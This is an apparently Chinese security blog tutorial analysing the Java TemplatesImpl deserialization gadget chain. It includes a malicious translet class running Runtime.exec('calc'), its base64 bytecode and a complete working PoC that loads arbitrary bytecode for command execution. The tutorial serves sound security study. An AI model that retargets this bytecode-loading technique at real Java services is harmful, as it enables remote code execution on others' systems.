Java反序列化漏洞-TemplatesImpl利用链分析

文章目录

    • 一、前言
    • 二、正文
      • 1. 寻找利用链
      • 2. 构造POC
        • 2.1 生成字节码
        • 2.2 加载字节码
          • 1)getTransletInstance
          • 2)defineTransletClasses
        • 2.3 创建实例
      • 3. 完整POC
    • 三、参考文章

一、前言

java.lang.ClassLoader#defineClass
在这里插入图片描述

defineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

二、正文

1. 寻找利用链

由于defineClass的访问修饰符为protected,所以我们需要寻找使用defineClass的方法,直到找到修饰符为public的方法即可。

查找defineClass的声明和用例,可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的TransletClassLoader方法重载了defineClass方法:

在这里插入图片描述

TransletClassLoader,由于它的作用域是default,所以还得继续寻找调用TransletClassLoader的方法。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

最终找到的调用链:

TemplatesImpl#newTransformer() -->			public
TemplatesImpl#getTransletInstance() -->		private
TemplatesImpl#defineTransletClasses() -->	private
TransletClassLoader#defineClass()			default

2. 构造POC

2.1 生成字节码

请注意,由于defineTransletClasses方法的限制,所以编写的被加载的类必须继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception {Runtime.getRuntime().exec("calc");}
}

使用javac编译后,base64编码,生成最终的字节码

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=
2.2 加载字节码

首先编写一个静态类,用于反射修改成员变量

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field declaredField = obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);
}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

1)getTransletInstance

查看TemplatesImpl类的getTransletInstance方法,可以看到需要经过两个if判断才能调用defineTransletClasses_name需要赋一个String类型的值,_class本来就是null无需修改,我们来反射修改_name的值。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "随便");templates.newTransformer();
}
2)defineTransletClasses

接着进入defineTransletClasses,如果_bytecode为空会报此 Templates 不包含有效的 translet 类定义的错误,如果_tfactory为为空程序会直接返回。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以看_bytecode作为参数调用了defineClass,所以_bytecode的值应为被加载的字节码。

然后可以看到被加载的类的必须继承自ASTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,这就是刚才被加载类需要继承AbstractTranslet的原因。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

继续修改POC:

public static void main(String[] args) throws Exception {byte[] bytecode = Base64.getDecoder().decode("#####你的字节码#####");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "随便");setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();
}
2.3 创建实例

defineTransletClasses中,加载_bytecode获得的Class对象赋给了_class

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

getTransletInstance_class类被创建实例,调用构造方法,至此成功命令执行。这就是为什么没有自己调用newInstance而仍能命令执行的原因。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3. 完整POC

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.util.Base64;public class LearnTemplatesImpl {public static void main(String[] args) throws Exception {byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "随便");setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();}static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field declaredField = obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);}
}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

三、参考文章

java安全漫谈 - phith0n

动态加载字节码学习 - bfengj

TemplatesImpl利用链分析 - seizer-zyx

Java反序列化之字节码二三事 - Drunkbaby

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/418627.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

相机常见名词详解

本文主要参考超人视觉课程做的笔记,有讲解不太懂的,又做了详细的解释 1、物距:物体到镜片的距离; 2、像距:像到镜片的距离; 3、焦距:镜片到焦点的距离; (1)二倍焦距以外&#xff…

AF路由模式组网部署

实验拓扑 防火墙基本配置 接口配置 eth1 eth2 eth3 路由配置 地址转换配置 放通策略 1. 出口申请了主电信、备联通两条外网线路(均为 50M 带宽)。 2. 内网有 web 服务器linux 172.16.3.100运行 http 服务,内外网用户通过 出口路由器…

用PG Back Web轻松进行PostgreSQL备份

什么是 PG Back Web ? PG Back Web 🐘 使用用户友好的 Web 界面轻松进行 PostgreSQL 备份!🌐💾。PG Back Web 不仅仅是另一个备份工具。借助 PG Back Web,用户可以通过受 PGP 加密保护的直观 Web 界面轻松安…

【redis】数据量庞大时的应对策略

文章目录 为什么数据量多了主机会崩分布式系统应用数据分离架构应用服务集群架构负载均衡器数据库读写分离 引入缓存冷热分离架构 分库分表微服务是什么代价优势 为什么数据量多了主机会崩 一台主机的硬件资源是有上限的,包括但不限于一下几种: CPU内存…

【Postgresql】地理空间数据的存储与查询,查询效率优化策略,数据类型与查询速度的影响

注:使用postgresql数据库会用到PostGIS 扩展。 一、安装PostGIS 扩展 在 PostgreSQL 中遇到错误 “type geography does not exist” 通常意味着你的 PostgreSQL 数据库还没有安装 PostGIS 扩展,或者 PostGIS 扩展没有被正确地安装在你的数据库中。geo…

我司使用了两年的高效日志打印工具,非常牛逼!

为了更方便地排查问题,电商交易系统的日志中需要记录用户id和订单id等字段。然而,每次打印日志都需要手动设置用户id,这一过程非常繁琐,需要想个办法优化下。 log.warn("user:{}, orderId:{} 订单提单成功",userId, or…

linux服务器之top命令详解

top:系统资源管理器 top命令类似于windows的任务管理器,可以查看内存、cpu、进程等信息(动态查看系统资源信息)在linux系统中常用top命令查看资源性能分析工具 一、参数释义: 第一行 系统时间和平均负载 top:名称22:12:46&#…

Spring Boot 部署方案!打包 + Shell 脚本详解

本篇和大家分享的是springboot打包并结合shell脚本命令部署,重点在分享一个shell程序启动工具,希望能便利工作; profiles指定不同环境的配置 maven-assembly-plugin打发布压缩包 分享shenniu_publish.sh程序启动工具 linux上使用shenniu_p…

一文梳理RAG(检索增强生成)的现状与挑战

一 RAG简介 大模型相较于过去的语言模型具备更加强大的能力,但在实际应用中,例如在准确性、知识更新速度和答案透明度方面,仍存在不少问题,比如典型的幻觉现象。因此,检索增强生成 (Retrieval-Augmented Generation, …

哪种超声波清洗机效果好?较好的超声波眼镜清洗机品牌推荐

作为一名拥有20年戴镜经验的眼镜爱好者,我深深体会到眼镜清洁的挑战:微小缝隙里的污垢难以触及,频繁的脏污让我苦于找不到清洁时机,而用力不当的擦拭方法更是可能对眼镜特别是镜片造成伤害,这确实让人感到苦恼&#xf…

Java专栏介绍

专栏导读 在当今这个技术飞速发展的时代,Java作为一门成熟且广泛应用的编程语言,一直是软件开发领域的中坚力量。本“Java技术”专栏旨在帮助读者深入理解Java编程语言的精髓,掌握其核心概念与高级特性,并通过实战案例提升编程技…

字符编码转换

文章目录 1. 背景2. 解决方案3. 编码转换实现3.1 shell实现3.2 python实现3.3 开源工具实现 4. 常见中文字符编码介绍4.1 字符编码解决什么问题4.2 常见的中文字符编码4.3 常见中文字符编码关系4.4 unicide字符集与utf-8 1. 背景 在团队合作开发中,经常发现组员的代…

Redis安装步骤——离线安装与在线安装详解

Linux环境下Redis的离线安装与在线安装详细步骤 环境信息一、离线安装1、安装环境2、下载redis安装包3、上传到服务器并解压4、编译redis5、安装redis6、配置redis(基础配置)7、启动redis8、本机访问redis9、远程访问redis 二、在线安装1、更新yum源2、安…

k8s 高级调度

搞懂Kubernetes调度 K8S调度器Kube-schduler的主要作用是将新创建的Pod调度到集群中的合适节点上运行。kube-scheduler的调度算法非常灵活,可以根据不同的需求进行自定义配置,比如资源限制、亲和性和反亲和性等。 kube-scheduler的工作原理如下&#x…

基于SpringBoot+Vue+MySQL的宿舍维修管理系统

系统展示 前台界面 管理员界面 维修员界面 学生界面 系统背景 在当今高校后勤管理的日益精细化与智能化背景下,宿舍维修管理系统作为提升校园生活品质、优化资源配置的关键环节,其重要性日益凸显。随着学生规模的扩大及住宿条件的不断提升,宿…

Qt/C++ 个人开源项目#串口助手(源码与发布链接)

一、项目概述 该串口助手工具基于Qt/C开发,专为简化串口通信调试与开发而设计,适合新手快速上手。工具具有直观的用户界面和丰富的功能,旨在帮助用户与串口设备建立可靠通信,便于调试、数据传输和分析。 二、主要功能 波特率&a…

【Hadoop|MapReduce篇】MapReduce概述

1. MapReduce定义 MapReduce是一个分布式运算程序的编程框架,是用户开发“基于Hadoop的数据分析应用”的核心框架。 MapReduce核心功能是将用户编写的业务逻辑代码和自带默认组件整合成一个完整的分布式运算程序,并发运行在一个Hadoop集群上。 2. Map…

视频汇聚平台LntonAIServer视频质量诊断功能--偏色检测与噪声检测

随着视频监控技术的不断进步,视频质量成为了决定监控系统性能的关键因素之一。LntonAIServer新增的视频质量诊断功能,特别是偏色检测和噪声检测,进一步强化了视频监控系统的可靠性和实用性。下面我们将详细介绍这两项功能的技术细节、应用场景…

2158. 直播获奖(live)

代码 #include<bits/stdc.h> using namespace std; int main() {int n,w,a[100000],cnt[601]{0},i,j,s;cin>>n>>w;for(i0;i<n;i){scanf("%d",&a[i]);cnt[a[i]];int x(i1)*w/100;if(!x) x1;for(j600,s0;j>0;j--){scnt[j];if(s>x){cou…

linux编译器——gcc/g++

1.gcc linux上先要安装&#xff0c; sudo yum install gcc gcc --version 可以查看当前的版本 &#xff0c;我们默认安装的是4.8.5的版本&#xff0c;比较低&#xff0c; gcc test.c -stdc99 可以使他支持更高版本的c标准 -o 可以殖指明生成文件的名字&#xff0c;可以自己…